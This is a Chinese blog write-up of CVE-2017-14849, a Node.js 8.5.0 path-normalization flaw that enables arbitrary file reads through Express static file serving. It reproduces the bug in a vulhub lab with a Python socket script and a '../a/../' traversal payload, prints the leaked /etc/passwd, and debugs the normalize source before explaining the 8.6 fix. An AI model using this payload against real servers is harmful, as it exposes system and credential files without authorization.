CVE-2017-14849
是Node.js 8.5.0 版本中路径检查时出现的安全漏洞。参考github中vulhub项目的readme:
原因是 Node.js 8.5.0 对目录进行normalize
操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd
),在中间位置增加foo/../
(如../../../foo/../../../../etc/passwd
),即可使normalize
返回/etc/passwd
,但实际上正确结果应该是../../../../../../etc/passwd
。
express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize
函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize
函数,上述BUG导致normalize
函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
这篇写烂了,水平不足。
复现
跳转到vulhub-master/node/CVE-2017-14849
目录,执行:
1 2
| docker compose build docker compose up -d
|
访问127.0.0.1:3000
,正常运行,且存在静态文件服务器:
由于浏览器和python的requests库似乎都会对url进行规范化,导致../
被处理(有点坑),所以这里采用python的socket
库和burp suite
复现:
首先尝试static/../../../../../../../etc/passwd
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| HOST = "" PORT = 3000 import socket request = ( "GET /static/../../../../../../../etc/passwd HTTP/1.1\r\n" "Host: ip:3000\r\n" "Accept: */*\r\n" "Accept-Language: en\r\n" "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\n" "Connection: close\r\n" "\r\n" ) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) s.sendall(request.encode()) data = s.recv(4096) print(data.decode())
|
返回结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| HTTP/1.1 404 Not Found X-Powered-By: Express Content-Security-Policy: default-src 'self' X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 177 Date: Sat, 30 Sep 2023 12:22:41 GMT Connection: close
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /static/../../../../../../../etc/passwd</pre> </body> </html>
|
改为/static/../../../a/../../../../etc/passwd
以后,返回结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| HTTP/1.1 200 OK X-Powered-By: Express Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Wed, 13 Sep 2017 20:05:31 GMT ETag: W/"4d4-15e7cd8b6f8" Content-Type: application/octet-stream Content-Length: 1236 Date: Sat, 30 Sep 2023 12:29:01 GMT Connection: close
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false node:x:1000:1000::/home/node:/bin/bash
|
成功泄露了/etc/passwd
文件中的数据。
原理分析
代码分析
express.static()
是 Express.js 框架提供的一个中间件函数,用于提供静态文件(例如图片、CSS 文件和JavaScript 文件)。它基于 serve-static
模块。使用 express.static()
函数,你可以方便地为你的 Express 应用程序提供静态资源。你只需指定一个目录作为资源的根目录,然后 Express 会自动为其中的文件提供服务。这个函数的参数引入了path.join()
:
path.join
中使用了normalize
函数:
我们先用docker exec -it {id} bash
进入容器终端进行交互,可以发现normalize
函数确实存在漏洞:
动态调试
本来想用node.js远程调试的,但是没办法给path模块里面的函数打断点,跳转也老是跳到一些不认识的函数里面。没办法,只能下载Node.js 8.5版本的源码,放到Windows里面,发现也存在这个漏洞。
1 2 3 4
| const path = require('./path');
const normalizedPath = path.normalize("../../../foo/../../../../etc/passwd"); console.log(normalizedPath);
|
输出:
那就可以在Windows环境下进行调试了,好好好。
打断点开始调试,最后定位到436行的normalizeStringWin32
函数:
可以发现运行完成以后,tail
变量变成了etc\\passwd
。
函数开头定义了一些变量以后,39行对path
中的字符进行遍历:
观察每次for循环res
的变化:
返回值在遍历到foo/../
以后,就逐渐偏离正轨了。后面每遍历一个../
,结果就会少一个../
。
为了方便调试,我们尝试把输入改成../a/../../b
:
应该也能触发漏洞。
之后继续下断点,调试。
主要内容还是在那个for循环中,直接跳到res
为..\\a
时,此时i
为5
。
i=5
时对应的字符是.
,code = path.charCodeAt(i)
,故code
为46,dots
变为1:
i=6
时情况相同,dots
变为2。
i=7
时,code
为47,由于还没有到根目录,所以进入了50行的if语句中:
此时函数检测到了../
,于是找到 res
中的最后一个反斜杠(\
)并将其后的部分切除,从而移除路径中的最后一个部分:
结果是..\a
变成了..
。
遍历下一个../
时,即i=10
,此时isAboveRoot
仍为假(实际应为真,因为res
为..
),导致进入了第70行的分支,res直接变成了''
。
所以最终结果为a
。
当输入为../../../b
时,由于isAboveRoot
一直为真,所以无法进入50行中的if分支中。
漏洞修复
在Node.js 8.6中,对第50行的if判断进行了修改:
新函数中引入了一个新的变量 lastSegmentLength
,它的目的是跟踪最后一部分的长度,即 res
中的最后一个斜杠(\
)之后的字符数。i=10
时,res
为..
,lastSegmentLength
为2,if条件不成立。